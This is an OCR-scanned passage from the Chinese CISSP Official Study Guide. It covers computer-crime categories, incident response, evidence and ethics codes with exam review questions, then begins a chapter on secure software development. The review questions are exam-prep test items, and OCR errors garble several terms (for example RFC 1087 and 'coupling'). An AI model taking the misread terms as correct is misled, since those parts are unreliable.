4) 不 准使用 计算机进行偷盗。
5) 不 准使用 计算机作伪证。
6) 不准私 自 复和l 未付费的专用 软件 。
7) 不 准在未被授权或未适 当 补偿的情况下使用 他人的计 算机资源 。
8) 不准盗用 他人的知识产 品 。
9) 必须考虑所编写 程序或所设计 系 统的社会后 果。
1 0) 必须总是以 确保关心和尊重 同 事的方式使用 计算机。
IT 行为可选择的道德规范有很多 种。 普遍接受的 系统安全准则(GASSP)是可以考虑选择的一个
系 统。 可以在 www.infosectoday.comJArticles/gassp.pdf 网 页 中 找到 GASSP 系 统的 完 整文本。
1 9.5 本章小结
信息安全专业人员必须熟悉事件响应过程。 这涉及收集和分析所需 的证据 ， 以便进行调查。 安
全专业人员应该熟悉证据的主要类别 ， 包括实物证据、 书面证据、 言辞证据。 电子证据往往通过对
硬件、 软件、 存储介质和网络的分析， 进行收集。 使用适当 的程序收集证据很必要， 不能改变原始
证据， 并应对证据链进行保护 。
计算机犯罪被归结为几种主要的类别 ， 每个类别中的犯罪行为有共同的动机和期望的结果。 理
解攻击者所寻找的 内容， 对于恰当地保护系统是很有帮助的 。
例如， 军事和情报攻击被用于获得秘密信息 ， 这些信息通过合法的方式是无法获得的。 除了 目
标为民用系统以外， 商业攻击几乎与军事和情报攻击是相同的。 其他类型的攻击包括财务攻击(电话
线路盗用是财务攻击的一个例子)和恐怖攻击(在计算机犯罪中 ， 这是一种用来中断正常生活的攻击)。
最后是恶意攻击和兴奋攻击。 恶意攻击的 目 的是通过销毁数据或运用使组织或个人感到困窘的信息
进行破坏。 兴奋攻击由缺乏经验的攻击者发起， 进而使系统受到损害或被禁用 。 尽管通常缺乏经验，
但是兴奋攻击可能会令你非常烦恼， 并且付出高昂 的代价
事故是违反安全策略的行为或对安全策略的威胁。 当事故被怀疑时， 应当立即开始调查， 并收
集尽可能多的证据。 这是因为， 如果决定报告这个事故， 那么就必须具备足够多的 、 可接受的证据
来支持你的观点。
道德规范是管理个人行为的一组规则。 实际上， 从一般到特殊存在几种道德规范， 安全专家可
以将它们用作指导准则 ， (lsci 将道德规范作为认证要求 。
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CISSP 官方学习指南(第 7 版)
1 9.6 考试要点
了解计算机犯罪的定义。 计算机犯罪是指违反法律或法规的任何行为， 直接针对或直接涉及使
用 计算机。
能够列出井解释计算机犯罪的 6 个类别。 计算机犯罪被分为 6 个类别: 军事和情报攻击、 商业
攻击、 财-务攻击、 恐怖攻击 、 恶意攻击和兴奋攻击。 能够解释每种攻击的动机。
了解证据收集的重要性。 只 要发现事故， 就必须开始收集证据并尽可能多地收集事故的相关信
息 。 证据可以在后来的法律活动中使用 ， 或者被用于确定攻击者的身份。 证据还可以帮助确定损失
的范围和程度 。
理解事故是任何违反安全策略的行为或对安全策略的威胁。 事故应该在安全策略中加 以定义。
即使特殊的事故没有被概括出来， 策略的存在也仍然为系统的使用设立了标准。 有任何负面影响的
事件(影响到组织的数据 的机密性、 完整性或可用性)都是事故。
能够列出 4 种常见的事故类型井了解每种事故的征兆。 当针对系统的攻击或其他违反安全策略
的行为出现时， 就会发生事故。 事故可以被分为下列 4 种类型: 扫描、 泄密、 恶意代码和拒绝服务。
一定要能够解释每种事故所涉及的内容和出现 的征兆 。
了解识别异常和可疑活动的重要性。 攻击总会产生一些不正常的活动。 识别出异常和可疑的活
动是检测 出 事故 的第一步 。
知道如何调查入侵事件以及如何从设备、 软件和数据中收集充分的信息。 必须拥有设备、 软件
或数据的所有权， 以便进行分析并使用它们作为证据。 必须获得没有被修改的证据 ， 或者不允许其
他任何人修改证据。
了解三种基本的没收证据的选择方案， 井知道每种方案适用的情况。 第一种， 拥有证据的人可
能会自愿提交证据。 第二种， 使用法院传票强迫嫌疑人交出证据。 第三种， 如果需要没收证据 ， 但
不给嫌疑人修改证据的机会， 搜查证是最有用 的 。
了解保存事故数据的重要性。 因为在事故发生之后， 总会发现某些事故迹象， 所 以除非保证关
键的 日 志文件被保存一段合理的时间， 否则将会失去有价值的证据。 可 以在适当的地方或档案文件
中保留 日 志文件和系统状态信息 。
熟悉如何报告事故。 第一步是要与公司和法律从业人员建立工作关系， 与他们一起处理发生的
事故。 当确实需要报告事故时 ， 应 当尽可能多地收集描述性信息并及时上交报告 。
理解法庭可接纳证据的基本要求。 能够被接纳的证据必须与案件事实相关， 事实必须以材料形
式呈现， 证据的 收集方式应在能力范 围 内 ， 且符合法律规定 。
解释各种可能在刑事或民事审判中使用的证据。 实物证据由可以被带进法庭的事实物件组成。
书面证据由能够说明事实的书面文件组成。 言辞证据包括证人陈述的 口头证据或书写的言论证据。
理解安全人员职业道德的重要性 安全从业者被赋予非常高的权利和责任， 以执行其工作职能。
这便会存在权利滥用 的情形。 没有严格的准则对个人行为进行限制， 我们可以认为安全从业人员具
有不受限制 的权利 。 遵守道德规范有助于确保这种权利不被滥用 。
了解(ISC)2 的道德规范和 RFC 1 087 "道德规范和互联网" 。 所有参加 CISSP 考试的人都应该
熟悉(Isci 的道德规范， 这是因为他们必须签署遵守这一准则的协议。 除此之外， 他们还应当熟悉
盯C 1 087 的基本要求。
1 9.7 书 面实验室
1 . 计算机犯罪的主要类别是什么 ?
2 兴奋攻击背后的主要动机是什么 ?
3 约谈和审 问之 间 的差异是什么 ?
4. 事件与事故之 间 的差异是什么 ?
5 事故响应团 队 的一般成员有哪些 ?
6 事故 响应过程的三个阶段是什么 ?
7. 证据能够被法庭采纳的三个基本要求是什么 ?
1 9.8 复习题
1 . 什么是计算机犯罪 ?
A. 在 安全策略中具体列 出任何攻击
B. 任何损害受保护计算机的非法攻击
C. 任何涉及计算机的法律或法规违反行为
D. 未能实行计算机的安全尽职调查
2. 军事和情报攻击的主要 目 的是什么 ?
A. 为 了 攻击军事系统的可用性
B. 为 了 获得军事或执法来源的秘密和限制信息
C. 为 了利用 军事或情报机构系统来攻击其他非军事网站
D. 为了破坏用 于攻击其他系统的军事系统
3. 什么类型的攻击 目 标是存储在 民用组织系统中 的专有信息?
A. 业务攻击
B. 拒绝服务攻击
C. 财务攻击
D. 军事和情报攻击
4. 什么 目 标不是金融攻击的 目 的 ?
A. 还没有购买的接入服务
B. 透露机密的个人员工信息
C. 从不法来源转移资金到你的账户
D 从其他组织窃取金钱
5. 以 下哪些攻击是最明显的恐怖袭击?
A. 涂改敏感的贸 易秘密 文件
B. 破坏通信能力和物理攻击应对能力
C. 窃 取机密信息
D. 转移资金到其他国家
6. 下列哪一项不是怨恨攻击的主要 目 的 ?
A. 披露令人尴尬的个人信息
第 1 9 章 事件与道德规范
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B. 启 动组织系统中 的病毒
c. 用 受害组织的虚假地址发送不恰当 电子邮件
D. 使用 自 动化工具扫描组织系统 以找 出易受攻击的端 口
7. 什么是攻击者进行兴奋攻击的主要原 因 ? (选择所有适用选项)
A. 耀武扬威
B 出售被盗的 文档
c. 以征服安全系统为荣
D. 对个人或组织报复
8 收集证据时要遵循的最重要的规则是什么 ?
A. 直到拍摄了 画面才关闭计算机
B 列 出 目 前 同 时收集证据的所有人
c. 在 收集过程中 从来不修改证据
D. 将所有设备转移到一个安全的存储位置
9. 当事故被发现时不能立即关闭设备电源 ， 什么是正确的观点 ?
A 所有的损害己经完成。 关闭设备不会停止额外的伤害
B. 如 果被关闭 ， 没有其他的系统可以代替
c. 太多的用户 登录并使用 系统
D. 在 内存 中有价值的证据都将丢失
1 0. 黑客行动主义者 由 以下哪些因素驱使 ? (选择所有适用选项)
A 财务收益
B. 快感
c. 技能
D. 政治信仰
1l. 什么是事故?
A 任何导致系统损坏 的主动攻击
B. 对任何道德规范的违反
c. 涉及计算机的任何罪行(对法律或法规的违反)
D. 任何对数据的机密'性 、 完整性和可用性产生不利影响的事件
1 2. 如果端 口 扫描不会对系统造成损害， 为什么通常还被认为是事故?
A. 所有端 口 扫描表明 敌对行为
B. 端口扫描是造成损害的预先攻击， 是未来进一步攻击前奏
c. 扫描端 口 会损坏端 口
D. 端 口 扫描使用 了 能更好服务于用 户 的系统资源
13. 什么类型的事故的特点是获得更多 的特权级别 ?
A. 危及
B. 拒绝服务
c. 恶 意代码
D. 扫描
1 4. 什么是识别系统中异常和可疑行为的 最好方法?
A. 要注意最新攻击
B. 配置 IDS 检测并报告所有的异常流量
C 知道正常系统活动的样子
D. 研 究主要攻击活动类型的特征
第 1 9 章 事件与道德规范
15. 如 果需要没收一台 疑似不为组织工作的攻击者计算机， 什么 法律渠道最合适?
A. 员 工签订同意协议
B 搜查令
C. 没有合法渠道是必要的
D. 自 愿同 意
1 6. 为什么要避免删除每天 的 日 志文件 ?
A. 事故可能好几天不会被发现， 有价值的 证据可能会丢失
B. 磁盘空间便直， 日 志文件被频繁使用
C. 日 志文件被保护 ， 不能被改变
D. 日 志文件中 的任何信息是无用的， 几个小时后就旧 了
17. 以下哪些情况可能需要报告事故? (选择所有适用选项)
A. 政府法规保护的机密信息可能被披露
B. 赔偿超过$ 1 500
C. 事故发生之前
D. 事故导致违反法律的行为发生
1 8. 什么是道德 ?
人， 强制要求履行的工作要求行 动
B. 专业操守的法律
C. 由 专业机构规定的条例
D. 个人行为的准则
1 9. 根据(ISC/ 的道德规范， CISSP 考试人员应该如何行动 ?
A. 诚实、 勤奋、 负 责和守法
B 值得尊敬、 诚实、 公正、 负 责和 守法
C. 支撑安全策略和保护组织
D. 守信、 忠诚、 友善、 礼貌
20. 下列哪个操作被认为是不可接受的 ， 并根据 盯C 1 087 " 道德规范与互联网" 是不道德的?
A. 行动危及机密信息的保密性
B 行动损害了用户隐私
C. 扰乱组织活动的行为
D. 一 台被用于执行边反规定的安全策略操作的计算机
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第 20 写主
软件开发安全
本章中覆盖的 CISSP 考试大纲包含 :
• A. 在软件开发生命周 期 中理解应用安全
A. l 开发方法论(例如 ， 敏捷开发、 瀑布模型)
A.2 成熟度模型
A.3 运行和维护
A.4 变更管理
A.5 集成产品 开发团 队(如 DevOps)
• B. 在开发环境中 执行安全控制
B. l 软件环境安全
B.3 安全编码中 的配置管理
B.4 代码仓库 的安全说明
B.5 API 安全
• C. 评估软件安全的有效性
C. l 审计和记录变更
C.2 风险分析和缓解
C.3 验收测试
• D. 评估软件获取的安全性影响
软件开发是由许多拥有不同技能和不同安全意识的开发者实施的一项复杂和具有挑战性的任
务。 这些开发人员创建和修改的应用程序通常会使用敏感数据， 还会和公众交互。 这给企业安全带
来了 巨大的风险， 并且信息安全专家必须理解这些风险， 对风险和业务需求做出平衡 ， 并且实施适
当 的风险缓解机制 。
20.1 系统开发控制概述
为了实现灵活的操作 目 标， 很多公司都使用定制开发的硬件和软件系统。 由于恶意的和/或粗心
CISSP 官方学 习指南(第 7 版)
的开发人员创建后门 、 缓冲区溢出漏洞或其他导致系统被恶意人员利用的弱点， 因此这些定制解决
方案可能存在 巨大的安全漏洞 。
为 了防范这些漏洞， 在整个系统开发的生命周期内引入安全性是至关重要的。 有组织、 有条理
的过程可以帮助确保解决方案满足功能需求以及安全性指导原则。 安全性关注应当是从事解决方案
开发的信息安全专家的重点考虑事项， 接下来将针对这些关注内 容对一系列系统开发行为进行讨论。
20. 1 .1 软件开发
在系统开发的每个阶段都应当考虑安全性， 这些阶段包括整个软件开发过程。 开发人员应该力
求在他们开发的所有应用程序中构建安全性， 并且为关键的应用程序和拥有敏感信息的应用程序提
供更高的安全级别。 因为在软件开发项 目 的初期， 给系统构建安全性比在现有系统中添加安全性容
易得多， 所 以在初期就考虑安全性是极为重要的 。
1 编程语言
你可能己经知道， 软件开发人员需要使用编程语言来开发软件代码。 你可能不知道同一个系统
能够同时使用好几种编程语言。 本章简要介绍不同类型的编程语言以及每种编程语言的安全影响。
计算机能够理解二进制代码。 计算机语言中只有 l 和 0， 而二进制代码正是这样的语言。 计算
机接受的指令由一长串二进制数字组成， 这些二进制数字使用的语言被称为机器语言。 每个 CPU 芯
片集都具有 自 己的机器语言 ， 事实上， 如果不借助专门 的软件， 那么人们连最简单的机器语言代码
都无法理解。 汇编语言是一种使用记忆符号来表示 CPU 基本指令的语言 ， 但是仍然要求人们了 解硬
件专用 的 、 相对模糊的汇编语言。 此外， 汇编语言还要求进行大量乏味的编程工作， 将两个数字相
加这样的简单任务就需要 5 行或 6 行汇编代码 才能完成。
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编程人员 当然不希望使用机器语言或汇编语言来编写代码， 他们更喜欢使用高级编程语言， 例
如 C++、 Ruby、 Java 和 Visual Basic。 这些语言允许编程人员 以更接近人际交流的方式编写代码， 从
而缩短了编写应用程序的时间， 可能减少项 目 所需的编程人员数量， 并且还允许不同操作系统和硬
件平台之间 的某些可移植性。 一旦编程人员准备执行设计的应用程序， 那么他们就有两种可用 的选
项 : 编译型和解释型。
某些语言(例如 ， C、 Java 和 FORT也哑。是编译型语言。 使用编译语言时， 编程人员可以使用被
称为编译器的工具将高级语言转换为在特定操作系统中使用 的可执行文件。 可执行文件随后被分发
给终端用户 ， 终端用户 会在认为合适时使用这些文件。 一般而言， 在可执行文件中不可能查看或更
改软件指令。
其他语言(例如， JavaScript 和 VBScript)是解释型语言。 使用这些语言时， 编程人员会分发源代
码， 源代码中包含以高级语言编写的指令。 终端用户 随后在系统中使用解释器来执行这些源代码。
此时 ， 用户能够查看编程人员编写 的 原始指令。
每种方式都具有各自 的安全性优点和缺点。 编译代码通常不易被第三方操纵。 然而， 因为终端
用户无法查看原始指令， 所以恶意的(或不熟练的)编程人员也更容易在编译代码中嵌入后门和其他
安全缺陷井逃避检测 。 不过， 编程人员不易在解释型代码中插入恶意代码， 原因在于终端用户可以
查看代码和检查代码的准确性。 另一方面， 接触软件的任何人都能够更改编程人员 的原始指令， 并
且可能在解释型软件中嵌入恶意代码。 你将在第 2 1 章 " 恶意代码与应用攻击" 中 的 " 应用攻击" 一
节 中学到攻击者常常如何利用漏洞来破坏软件。
第 20 章 软件开发安全
编程语言的发展
在 CISSP 考试中 ， 还应当熟 悉编程语言的发展， 各代编程语言的定义如下:
. 第 1 代语言(l GL) 包括所有机器语言 。
· 第 2 代语言(2GL) 包括所有汇编语言。
. 第 3 代语言(3GL) 包括所有编译语言。
· 第 4 代语言(4GL)试图 接近 于 自 然语言 ， 包括数据库使用 的 SQL
· 第 5 代语言(5GL)九许编程人员 创 建使用 可视接 口 的代码 。
2. 面 向对象编程
许多现代编程语言仰的日 ， C++、 Java 和.NET 语言)都支持面向对象编程(OOP)的概念。 较早的
编程风格(例如， 函数式编程)关注程序流本身 ， 井且试图将希望的行为设计为一系列步骤。 面向对
象编程关注交互所涉及的对象。 可以将这些对象视为被请求执行特定操作或显示特定行为的一组对
象 。 对 象一起工作， 从而提供系统的功能或能力。 OOP 可能更为可靠， 并且能够减少程序变化错误
的传播。 作为一种编程方法， OOP 更适合建模或模拟现实生活。 例如 ， 某个银行业务程序可能具有
三个对象类， 这三个对象类分别对应于账户 、 账户所有人和员工。 在系统中添加一个新账户时， 就
会创建适当对象的一个新实例或副本， 这个实例或副本包含新账户 的详细信息 。
在 OOP 模型中 ， 每个对象都有对应其特定操作的方法。 例如， 账户对象可以有方法去增加资
金 、 扣除资金、 关 闭账户 和转移所有权。
对象也可以是其他对 象的子类， 并且继承父类的方法。 例如， 账户对象可能有相关特定账户类
型的子类， 比如储蓄 、 检查、 抵押和汽车贷款。 子类可以使用父类的所有方法， 井且有额外的特定
类方法。 比如 ， 检查对象可能有一个方法名 叫 write_ checkO ， 而其他子类则没有 。
从安全的角度来看， 面向对象编程提供了 一个抽象的黑盒方法。 用户需要知道对象的接口细节
(通常关于每个对象方法的输入、 输出和动作)， 但不一定需要知道对象内部如何有效地使用它们来
工作。 为了提供面向对象系统要求的特性， 对象会被封装(独立的)， 以及它们只能通过特定消息被
访问(换句话说就是输入)。 对象也可以表现出替换的属性， 允许不同对象提供兼容操作来彼此替换。
下面是一些可能会在工作 中遇到的常见的面向 对象编程术语:
消息 消 息是对象的通信或输入。
方法 方法是定义对象执行响应消息操作的内部代码 。
行为 由 对象呈现的结果或输出 是一种行为。 行为是通过方法处理消息的结果。
类 定义对象行为的一组对 象的公共方法的集合就是类 。
实例 对象是包含对象方法 的类的实例或例子。
继承 某个类(父类或超类)的方法被另 一个子类继承时就会出现继承性。
委托 委托是某个对象将请求转发给另一个对象或委托对象。 如果某个对 象没有处理特定消息
的方法， 那么就需要委托。
多态性 多态性是对象的特性， 当外部条件变化时允许以不同 的行为响应相同的消息或方法。
内聚 内 聚描述相 同类中方法 目 的之间关系 的强度 。
辑合 稍合是对象之间 的交互级别。 低糯合意味着较少 的交互。 因 为对象更为独立， 所以低糯
合提供了 更优的软件设计。 低精合更易于检测故障和更新。 内 聚程度较低的对象需要大量来自 其他
对象的帮助才能完成任务， 井且具有高棉合的特点 。
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3. 保证
为 了确保在新应用程序中构建的安全控制机制能够在系统的整个生命周期 内正确地实现安全策
略， 管理员会使用保证过程。 保证过程只是据此在系统生命周期 内构建信任的正规过程。 可信计算
机系统评估标准(TCSEC)桶皮书将这个过程称为生命周期保证。
4. 避免和缓解系统故障
无论开发团队多么高级， 系统在某些时候都可能出现故障。 实施软件和硬件控制时， 应该为这
种故障类型做好准备 ， 从而确保系统做出适当的响应。 我们可 以通过许多方法来避免故障， 包括使
用极限检查和创建故障防护或应急开放过程。 下面将详细讨论这些方法。
输入验证 当用户与软件交互时， 他们通常以输入的形式向应用程序提供信息。 这里可能包括
程序后续要用到的值的类型。 开发者经常希望这些值在一定的参数范 围 内 。 例如， 如果幸自芋员要用
户输入月 份， 幸自芋可能希望看到 1�12 之间的某个整数值。 如果用户输入的值在该范 围之外， 写得
差 的程序最好 的情况是崩溃 ， 最糟糕的情况是允许用 户 对底层操作系统进行控制 。
输入验证核实用户提供的值是否匹配程序员 的期望， 之后才允许进一步的处理。 例如， 输入验
证会检查月 份值是否是 1�12 之间 的一个整数。 如果值在这个范围之外 ， 手自芋将不会作为日 期处理
这个数字， 而是会通知用户希望输入的值。 这种类型的输入验证， 通过代码检测确保数字落在一个
可接受的范围 ， 被称为限制检测 。
输入验证也可以检测不寻常的字符， 如文本宇段中 的引号， 这可能是攻击的象征。 在某种情况
下 ， 输入验证程序可以改变收入， 移除风险特征序列， 以及用安全的值来替换。 这个过程被称为换
码输入。
输入验证应该经常存在于事务处理的服务器端。 任何发送给用户浏览器的代码容易受到用户 的
操作 ， 因 此这些代码很容 易被绕开。
提示 :
在大多 数组织内， 安全专 家具有系统管理背景， 但是并不具备软件开发的专业经验。 如果没有
此类经验， 那 么 一定不能放弃学 习 ， 并且要教育组织的开发人员 ， 使他们 了 解安全编码的重要性。
故障防护和应急、开放 即使编程人员 、 产品设计人员和项 目 管理人员 以最佳的状态全身心投入
工作， 被开发的应用程序也仍然会遭遇不可预测的或无法完全理解的情况和环境。 其中， 某些状况
会导致出 现故障。 因 为故障是不可预测的， 所以编程人员应当在代码中设计如何响应和处理故障的
常规方法。
当应对 系统故障做计划时有两个基本选择:
• 故障防护状态将系统置入高级别安全性(甚至可能完全禁用)， 直至管理员能够诊断 问题井将
系统还原至正常操作状态 。
• 应急开放状态允许用户 绕开失败的安全控制 ， 此时用 户 获得的特权过高 。
在大多数环境中 ， 因为能够防止对信息和资源的未授权访问， 所以故障防护是'恰当的故障状态。
软件应当恢复故障防妒状况 ， 这意味着只关闭应用程序或停止整个主机系统的操作。 Windows
操作系统中 出现的蓝屏死机但SOD)就是这种故障响应方式的一个示例， 不过它实际上被称为 STOP
错误。 尽管操作系统努力防止 STOP 错误， 但是在出现不安全的和非法的活动时仍然会发生 STOP
错误。 不安全的和非法的活动可能包括: 应用程序直接访问硬件， 企图绕开安全控制检查， 或者一
第 20 章 软件开发安全
个进程擅 自 使用其他进程的 内存空间。 一旦出现非法操作， 系统环境就不再可信。 因此， 此时 OS
不会继续支持不可靠和不安全的操作环境 ， 而是启 动作为安全防护响应的 STOP 错误。
一旦出现安全防护操作， 编程人员就应当考虑、接下来发生的活动。 此时， 可能的选项是: 停 留
在安全防护状态， 或者 自 动重启系统。 前一个选项要求管理员人工重启系统并监督这个过程， 通过
使用启动密码就可以实施这个动作 。 后一个选项并不要求人工干预， 系统能够 自 己还原至正常运作
状态， 但仍存在 自 身特有的 问题。 例如， 必须约束系统重启至非特权状态。 换句话说， 系统的重启
应当不执行 自动的登录操作， 而是提示用户提供授权的访 问 凭证 。
警告 :
在有限的一些环境中 ， 实现应急开放的故障状态可能史为合适。 这种方式有时适用 于多 层安全
系统中较低层的组件。 应急开放系 统的使用应当极为谨慎。 部署使用 这种故障模式的系统之前， 必
须 明确验证用 于该模式的业务要求。 如果验证通过， 那 么在系统故障时需要确保能够采用 其他适当
的控制 来保护组织 的资源。 希望所有安全控制 都利用 应 急开放方式的情况是极为 罕见的.
即使正确设计了 安全性并将之嵌入软件， 但是为了支持更简单的安装， 所设计的安全性往往会
被禁用 。 因此， IT 管理员 负责打开和配置与特定环境需求匹配的安全性是非常普遍的。 如图 20. 1
所示， 维护安全性常常需要权衡用户友好性与功能性。 此外 ， 如果添加或增加安全性， 那么也会增
加成本、 增加行政管理开销和 降低生产率/吞吐量。
安全性
功能性 用户 友好性
图 20.1 安全性、 用户友好性和功能性之间的关系
20. 1 .2 系统开发生命周期
如果在系统或应用程序的整个生命周期 内都进行计划和管理， 那么安全性是最有效的 。 管理员
利用项 目 管理使项 目 的开发遵循 目 标， 并且逐步实现整个产品 的 目 的。 通常， 项 目 管理使用生命周
期模型进行组织， 以便指导开发过程。 使用正规化的生命周期模型有助于确保良好的编程实践以及
在产品开发的每个阶段都嵌入安全性。
所有系统开发过程都应当具有几个共用的活动。 虽然可能没有必要共享相同的名字， 但是这些
核 心的动作对于开发健全的、 安全的系统来说都是必不可少的。 下 面列出了这些动作 :
• 概念定义
• 功能需求确定
• 控制规范的开发
• 设计审查
• 代码审查走查
• 用户验收测试
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CISSP 官方学习指南(第 7 版)
• 维护和变更管理
本章稍后的 " 生命周期模型" 部分将分析两个生命周期模型， 并且说明如何在实际的软件工程
环境中应用这些活动 。
注意 :
注意到下面这一点十分重要: 系统开发生命周期中使用 的术语在不 同 的模型 、 不 同 的发行产品
之间是有区别的。 不必花费太多 的 时间担心本书或可能遇到 的其他文献中使用 的术语是否有 区别。
参加 CISSP 考试时 ， 深入理解处理过程如何工作以及支样安全系统开发的基本原理是极其重要的。
也就是说， 与 任何规则 一样， 都可能存在 一些例外。
1 概念定义
系统开发的概念定义阶段涉及为系统创建基本的概念声明 。 简而言之， 是由所有利益相关方(开
发人员 、 客户和管理人员)协商的简单声明， 规定了项 目 用途 以及系统大体需求。 概念定义是一份非
常高级的用途声明， 仅包括寥寥一两段话。 如果阅读项 目 的详细总结， 那么会看到概念声明是一个
摘要或简介 ， 它使得外行可 以在短时间内对项 目 具有高度概括性的理解。
在系统开发过程的所有阶段参考概念声明是很有帮助的。 开发过程错综复杂的细节常常使项 目
的最高 目 标变得模糊 不清 。 简 单地定期阅读概念声 明 能够帮助开发团 队重新瞄准 自 己的 目 标。
2. 功 能需求确定
一旦所有的利益相关方都同意概念声明， 那么开发团队就该着于开始功能需求确定过程。 在这
个阶段， 具体的系统功能会被列出来， 并且开发人员开始考虑系统的这些部分应当如何互相协作，
以便满足功能需求。 从这个阶段得出 的是功能需求文档 ， 它们列出了 具体的系统需求。
与概念声明一样， 在工作进入下一阶段之前， 确保所有利益相关方都同意功能需求文档是十分
重要的 。 当功能需求确定过程最终完成时， 功能需求文档不应当被简单地束之高阁而且落满尘土，
整个开发团队都应该在全部阶段不断地参考这份文档， 以确保项 目 正常进行。 在最后的测试和评估
阶段， 项 目 管理者应当使用这份文档作为核对清单 ， 确保所有功能需求得到满足。
3. 控制规范的开发
树立起安全意识的组织还会确保从最早的开发阶段开始就将恰当 的控制设计到所有系统中。 在
生命周期模型中 ， 具有控制规范的开发阶段常常是非常有用 的 。 这个阶段在功能需求开发阶段后不
久开始， 并且往往在设计和审核阶段继续进行 。
在控制规范的开发过程中 ， 从许多安全角度对系统进行分析是很重要的。 首先， 恰当的访问控
制必须被设计到所有的系统中 ， 从而确保只有授权的用户被准许访问系统， 井且不允许他们超出授
权级别 。 其次， 系统必须通过使用正确的加密和数据保护技术来维护关键数据的机密性。 再次， 系
统不仅应当提供审计跟踪来强制实施个人的可问 责性， 而且应当提供对非法活动的检测机制。 最后 ，
根据系统的危险程度 ， 必须解决可用性和容锚 问题。
需要记住的是， 将安全性设计到系统中不是一次性过程， 并且必须主动进行。 系统经常在设计
时缺乏安全性计划， 并且随后开发人员试图利用正确的安全机制更新系统。 遗憾的是， 这些机制慢
了一拍， 并且没有完全与系统设计集成在一起， 这就造成了裂口性的安全漏洞。 此外， 在每次对设
计规范进行重大改动时应当再次参考安全需求。 如果系统的主要组件发生了变化， 那么很可能也要
第 20 章 软件开发安全
对安全性需求进行改动 。
4 设计评审
一旦完成功能需求确定和控制规范开发过程， 那么系统设计人员就可以开始工作了 ! 在这个漫
长的过程中， 设计人员要正确地确定系统的不同部分将如何相互操作以及如何布置模块化的系统结
构。 此外， 在这个阶段， 设计管理团 队通常为不同的团队设置具体的任务， 并且布置编码里程碑的
初步完成时间 。
设计团队完成正式的设计文档后应当与利益相关方召开评审会议， 确保每个人都同意此过程在
按部就班地进行， 在 向 着成功开发具有所期望功能的系统的方向迈进 。
5. 代码审查走查
一旦利益相关方为软件设计提供了支持， 那么软件开发人员就可以开始编写代码。 在编码过程
的不同里程碑， 项 目 经理应该安排几次代码审查走查会议。 这些技术性会议通常只 涉及开发人员 ，
他们根据特定模块的代码副本进行走查， 寻找逻辑流中的问题或其他设计/安全性缺陷。 这些会议有
助于确保不同开发团 队开发的代码依据规范执行 。
6. 用 户验收测试
在经过多次代码审查和漫长时间之后， 就会到达开发人员写下最后一个分号并表示系统完成的
结束点。 很多经验丰富的软件工程师都知道， 系统永远不可能完成。 现在要进入的是系统测试复审
阶段。 最初， 大多数组织 由开发人员执行系统的初始测试 ， 从而找出一些明显的错误。
一旦这个阶段完成， 代码可能会转移到部署。 与任何关键的开发过程一样， 保存-份书面的测
试计划和测试结果是非常重要的， 可供将来审查。
7. 维护和变更管理
一旦系统可以操作 ， 面对操作、 数据处理、 存储和环境需求的改变， 为 了确保持续运作 ， 有必
要进行多样的维护工作。 拥有一支有经验的、 能够处理常规或意外维护任务的支持队伍是必不可少
的 。 同样重要的是， 任何代码的变更都要通过正式的变更管理流程来进行， 如第 l 章所述的 " 通过
原则和策略来进行安全治理"。
20. 1 .3 生命周期模型
你会从许多较为成熟的工程学科(例如， 土木工程、 机械工程和 电子工程)从业者那里听到很多
意见， 其中一种说法就是软件工程根本不是工程学科。 事实上， 他们坚持认为， 软件工程仅仅是一
些混沌过程的组合， 有时由于某种原因经过管理成为可工作的解决方案 。 实际上， 在 目 前的开发环
境 中 出现的一些软件工程只 是依靠 " 胶带和鸡 肉丝" 组合在一起的引 导编码。
然而， 可以从采用更正式的生命周期管理过程中看到主流软件工程行业的成长。 毕竟， 把一门
古老的学科， 如土木工程的过程 ， 和一门只有几十年历史的产业学科进行比较是不公平的 。 在 20
世纪 70 年代和 80 年代， 先驱者(如 认1inston Royce 和 Barry Boehm)提出软件开发生命周期(SDLC)
模型来帮助指导软件开发实践走向形式化的过程。 在 1 99 1 年 ， 软件工程研究所介绍的能力成熟度模
型 ， 描述了过程的组织保证， 因 为他们朝着将固体工程原则纳入软件开发的过程。 在下面的章节中，
595
CISSP 官方学 习指南(第 7 版)
我们将看看这些研究产生的成果。 合适的管理模型应该能够改善最终的产品。 然而， 仅仅有 SDLC
方法论是不够的 ， 项 目 可能无法满足企业和用户的需求。 所以， 验证软件开发生命周期模型是否正
确实施以及是否适合环境是非常重要的。 此外， 实施 SDLC 模型的初始步骤之一包括获得管理层的
批准。
1 瀑布模型
瀑布模型最初是由 Winston Royce 在 1970 年开发的， 它试图将系统开发的生命周期看作一系列
反复活动。 如图 20.2 所示， 传统的瀑布模型有 7 个开发阶段。 在每个阶段完成时， 项目会进入下一
个阶段。 正如相反箭头所示， 现代的瀑布模型准许开发返回到先前的阶段， 从而纠正在后续阶段发
现的错误。 这通常被称为瀑布模型的 反馈循环特征(feedback loop characteristic) 。
596
图 20.2 瀑布生命周期模型
瀑布模型是在考虑返回先前阶段以纠正系统错误的必要性的情况下， 建立软件开发过程的模型
的第一次全面尝试。 然而， 这个模型受到的一个主要批评是: 只准许开发人员后退一个阶段。 瀑布
模型并没有对开发周 期后期发现错误做出 相应规定 。
注意 :
近来， 人们通过为每个阶段都添加确认和马纠正步骤改进了 瀑布模型 。 验证4十对规范坪估产品，
而确认则坪估产品满足实际需求的程度。 这种改进的模型被标记为改良瀑布模型 。 不过， 在螺旋模
型 统治 项 目 管 理领域之前， 改 良瀑布模型 并未得到 广 泛应 用 。
2 螺旋模型
1988 年， TRW 的 Barry Boehrn 提出了一种替代的生命周期模型， 允许瀑布类型处理过程多次
反复。 图 20.3 说明 了 这种模型。 因为螺旋模型封装了许多迭代的其他模型(也就是瀑布模型)， 所 以
被称为元模型或 " 模型 的模型 "。
确定目标、 替代和约束 | 评估替代， 识别和消除风险
计划下一阶段 | 开发和验证下一级产品
图 20.3 螺旋生命周 期模型
第 20 章 软件开发安全
可 以注意到， 螺旋的每次 " 回路 " 都导致新系统原型的开发(在 图 20.3 中用 Pl， P2 和 自 表示)。
理论上， 系统开发人员为每个原型的开发应用完整的瀑布处理过程， 由此逐渐得到满足所有功能要
求(经过全面验证)的成熟系统 。 Boehm 的螺旋模型为瀑布模型受到的主要批评提供了 一个解决方案，
也就是说， 如果技术需求和客户 需求发生变化， 需要改进系统， 就允许开发人员返回到计划编制
阶段。
3. 敏捷软件开发
最近， 软件开发的敏捷模型己经在软件工程界越来越受欢迎。 从 20 世纪 90 年代中期开始， 开
发者越来越接受避开过去僵化模式的软件开发方法， 喜欢采用替代的、 强调客户 需求的和快速开发
的新功能， 并 以j是代的方式满足这些需求。
